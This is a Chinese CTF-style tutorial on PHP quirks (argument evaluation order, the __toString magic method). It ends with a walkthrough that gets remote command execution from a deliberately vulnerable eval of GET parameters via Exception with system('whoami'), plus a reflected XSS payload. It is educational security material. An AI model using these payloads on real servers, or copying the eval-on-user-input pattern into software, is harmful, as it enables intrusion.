不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

连异常报错也能拿到flag?

前言:

本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。

脸滚键盘打出来的函数也能执行?

没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。

比如,有如下PHP代码:

<?php tian(phpinfo());

在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?

当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。

那么有没有办法让PHP正常执行这个程序呢?

有,那必须有,甚至只需要一行

<?php function tian(){} tian(phpinfo());

新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。

这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?

从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。

举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:

举个最常见的函数:

<?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");

mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。

至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?

为什么我的对象打印不出来?

在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:

<?php class tian{    public $id = "Lxxx";    function getid() {        return $this->id;   } } 
echo new tian();

这个代码报错如下:

图片

这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。

因此将上方程序进行修改,修改后的代码如下:

<?php class tian{    public $id = "Lxxx";    function getid() {        return $this->id;   }    function __toString() {        return $this->id;   } } 
echo new tian();

这个时候,程序就可以正常执行了

图片

这个时候我们修改一下代码:

<?php class tian{    public $id;    function __construct($id) {        $this->id = $id;   }    function __toString() {        return $this->id;   } } echo new tian(phpinfo());

这个时候,结合上面的内容,应该就能理解这一部分代码

代码执行如下:

图片

程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()

那么将这两个特性结合起来有什么用呢?

下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。

表演一个异常报错实现RCE

题目代码如下:

<?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }

关键代码为:eval("echo new $a($b());");

首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类

我们先测试一下,传payload:?a=mysqli&b=phpinfo

图片

这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。

因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception

其中PHP官方手册对这个类的__toString()描述如下: 图片

这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?

<?php echo new Exception(system("whoami")());

那就先执行命令,然后将执行命令的结果作为参数传给Exception

所以传payload:?a=exception&b=system("whoami")

这个即可RCE

除此之外,Exception__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。

举个例子:

<?phpecho new Exception("$_GET[1]");

这个时候传:?1=<script>alert("XSS");</script>

是可以XSS

当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 连异常报错也能拿到flag?

相关推荐

  • 暂无文章

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏